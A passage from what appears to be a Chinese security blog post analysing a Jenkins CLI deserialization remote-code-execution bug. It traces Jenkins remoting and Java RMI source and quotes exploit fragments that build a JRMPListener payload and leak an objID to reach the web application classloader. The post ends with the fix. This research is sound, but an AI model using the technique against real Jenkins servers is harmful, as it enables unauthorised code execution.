public void handle(Command cmd) {
    Channel.this.updateLastHeard();
    if (Channel.logger.isLoggable(Level.FINE)) {
        Channel.logger.fine("Received " + cmd);
    }

    try {
        cmd.execute(Channel.this);
    } 
    ...

}

然后调用 RPCRequest 的 execute,关键的三行代码如下:

channel.pipeWriter.get(Request.this.lastIoId).get();
RSP r = Request.this.perform(channel);
rsp = new Response(Request.this.id, this.calcLastIoId(), r);

通过 perform 进行处理,然后将 Response 写入相应,perform 函数如下:

protected Serializable perform(Channel channel) throws Throwable {
    Object o = channel.getExportedObject(this.oid);
    Class[] clazz = channel.getExportedTypes(this.oid);

    try {
        Method m = this.choose(clazz);
        if (m == null) {
            throw new IllegalStateException("Unable to call " + this.methodName + ". No matching method found in " + Arrays.toString(clazz) + " for " + o);
        } else {
            m.setAccessible(true);

            Object r;
            try {
                r = m.invoke(o, this.arguments);
            } catch (IllegalArgumentException var7) {
                throw new RemotingSystemException("failed to invoke " + m + " on " + o + Arrays.toString(this.arguments), var7);
            }

            if (r != null && !(r instanceof Serializable)) {
                throw new RemotingSystemException(new ClassCastException(r.getClass() + " is returned from " + m + " on " + o.getClass() + " but it's not serializable"));
            } else {
                return (Serializable)r;
            }
        }
    } catch (InvocationTargetException var8) {
        throw var8.getTargetException();
    }
}

通过 choose 获取反射函数:

private Method choose(Class[] interfaces) {
    Class[] arr$ = interfaces;
    int len$ = interfaces.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        Class clazz = arr$[i$];
        Method[] arr$ = clazz.getMethods();
        int len$ = arr$.length;

        label38:
        for(int i$ = 0; i$ < len$; ++i$) {
            Method m = arr$[i$];
            if (m.getName().equals(this.methodName)) {
                Class<?>[] paramTypes = m.getParameterTypes();
                if (paramTypes.length == this.arguments.length) {
                    for(int i = 0; i < this.types.length; ++i) {
                        if (!this.types[i].equals(paramTypes[i].getName())) {
                            continue label38;
                        }
                    }

                    return m;
                }
            }
        }
    }

    return null;
}

可以看出反射函数来自反射主体所继承的接口,并且要与函数名、参数等数据吻合。

然后就是一个显眼的反射操作,oid、method 都是可以可控制的,需要看一下的就是 channel.getExportedObject(作为反射的主体)和 channel.getExportedTypes(用于获取执行反射操作的函数)获取到的结果,经过调试可以发现,exportedObjects 表中只有一个成员,channel 自身。然后则会调用该 channel 的 getProperty 函数,参数为 JarLoader.ours,同样通过调试可以看到 properties 属性的值:

{hudson.cli.CliEntryPoint=hudson.cli.CliManagerImpl@405894b7, hudson.remoting.JarLoader.ours=hudson.remoting.JarLoaderImpl@44671864}

所以这一步获取到的实际上是一个 JarLoaderImpl 对象,然后生成 Response:

return new UserResponse(this.serialize(r, channel), false);

并写入响应:

channel.send(rsp);

在序列化 JarLoaderImpl 对象的时候,会触发其 writeReplace 函数:

private Object writeReplace() {
    return Channel.current().export(JarLoader.class, this);
}

调用 channel 的 export 函数将自身放入其 exportedObjects 表中,所以下次交互进行到 perform 函数中的反射时,可以使用 JarLoaderImpl 作为反射主体。

经过处理后,最终返回的是一个 Proxy 对象,其 invocationhandler 中存放着 JarLoaderImpl 对象的 oid(用于表示远程对象的一个数字),调试可得其为 2。

然后进入第二步:

Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));

Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");

Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);

try {
    c.call((Callable<?, ?>) o);
}

生成一段 JRMPListener payload,然后调用 makeIsPresentOnRemoteCallable:

private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
    throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
    Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
    Reflections.setAccessible(reqCons);
    return reqCons
        .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
            uro,
        });
}

可以看到生成的同样是一个 RPCRequest 类,这次其 oid 为 2,methodName 为 isPresentOnRemote,arguments 为 JRMPListener payload。这样来到 perform 函数时,就是在 JarLoaderImpl 对象上调用其接口 JarLoader 的 isPresentOnRemote 函数,但是这里有个问题,JarLoader 接口的 isPresentOnRemote 函数是一个抽象函数:

boolean isPresentOnRemote(Checksum var1);

于是就会报错并抛出异常:

throw new RemotingSystemException("failed to invoke " + m + " on " + o + Arrays.toString(this.arguments), var7);

而上一层则会捕捉异常并将其作为响应:

catch (Throwable var18) {
    rsp = new Response(Request.this.id, this.calcLastIoId(), var18);
} 

观察报错信息:

failed to invoke public abstract boolean hudson.remoting.JarLoader.isPresentOnRemote(hudson.remoting.Checksum) on hudson.remoting.JarLoaderImpl@2cae1e9d[ActivationGroupImpl[UnicastServerRef [liveRef: [endpoint:[172.17.0.2:12345](local),objID:[6c817df0:175f8bef343:-7ffd, 937379779203472170]]]]]

报错会打印出 arguments,也就是 JRMPListener payload,这是一个 ActivationGroupImpl -> UnicastServerRef -> LiveRef 的对象,而在报错打印数据时调用的 LiveRef 的 toString 函数中:

public String toString() {
    String var1;
    if (this.isLocal) {
        var1 = "local";
    } else {
        var1 = "remote";
    }

    return "[endpoint:" + this.ep + "(" + var1 + ")," + "objID:" + this.id + "]";
}

会将其中的 objID 打印出来。

接下来就是最后一步了:

try {
    c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
    // [ActivationGroupImpl[UnicastServerRef [liveRef:
    // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
    // -9046794842107247609]]

    System.err.println(e.getMessage());

    parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}

执行第二步操作并捕捉前面提到的因为调用了抽象函数抛出的异常,然后调用 parseObjIdAndExploit,解析报错信息中的 objID,然后调用 exploit,可以看到 exploit 部分其实跟 JRMPClient 差别不大,不同的地方就在于写入了前面解析出来的 objID,而不是默认的 2。

跟踪一下 JRMPListener 的反序列化过程,看到 Transport 类的 serviceCall 函数:

public boolean serviceCall(final RemoteCall var1) {
    try {
        ObjID var39;
        try {
            var39 = ObjID.read(var1.getInputStream());
        } catch (IOException var33) {
            throw new MarshalException("unable to read objID", var33);
        }

        Transport var40 = var39.equals(dgcID) ? null : this;
        Target var5 = ObjectTable.getTarget(new ObjectEndpoint(var39, var40));
        final Remote var37;
        if (var5 != null && (var37 = var5.getImpl()) != null) {
            final Dispatcher var6 = var5.getDispatcher();
            var5.incrementCallCount();

            boolean var8;
            try {
                transportLog.log(Log.VERBOSE, "call dispatcher");
                final AccessControlContext var7 = var5.getAccessControlContext();
                ClassLoader var41 = var5.getContextClassLoader();
                ClassLoader var9 = Thread.currentThread().getContextClassLoader();

                try {
                    setContextClassLoader(var41);
                    currentTransport.set(this);

                    try {
                        AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
                            public Void run() throws IOException {
                                Transport.this.checkAcceptPermission(var7);
                                var6.dispatch(var37, var1);
                                return null;
                            }
                        }, var7);
                        return true;
                    } 
                    ...
                } 
                ...
            } 
            ...
        }

        ...
    } 
    ...
}

可以看到,这里反序列化出 ObjID 后,会根据 ObjID 从 ObjectTable 取出 Target 对象,然后再从 Target 对象中取出 ClassLoader 并设置为当前环境下的 classLoader。

而调试可以得知,当使用默认的 objID 时,其 classLoader 为 AppClassLoader,其加载路径为启动命令、系统属性等 classpath,而 Jenkins 的 commons-collections 包是放在 lib 目录下的,也就是说要用 WebAppClassLoader 才能加载到,所以就会因为无法加载类而导致利用失败。

而在 JRMPListener payload 反序列化过程中,会调用 UnicastServerRef 类的 exportObject 函数:

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
    Class var4 = var1.getClass();

    Remote var5;
    try {
        var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
    } catch (IllegalArgumentException var7) {
        throw new ExportException("remote object implements illegal remote interface", var7);
    }

    if (var5 instanceof RemoteStub) {
        this.setSkeleton(var1);
    }

    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
    this.ref.exportObject(var6);
    this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
    return var5;
}

他会生成一个新的 Target,用自身 ref 属性(即 LiveRef)中的 objID 进行标识,并通过 putTarget 将其放入 ObjectTable 中。所以我们通过报错获取 LiveRef 中的 objID 后,就可以通过该 objID 在反序列化时获取相应 Target 中的 WebAppClassLoader。

漏洞修复

将 rmi 相关的包放入黑名单。


参考文章

安全研究 | Jenkins漏洞分析

Jenkins RCE漏洞分析汇总


Web Jenkins

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Jenkins相关漏洞学习(二)
Tomcat源码观测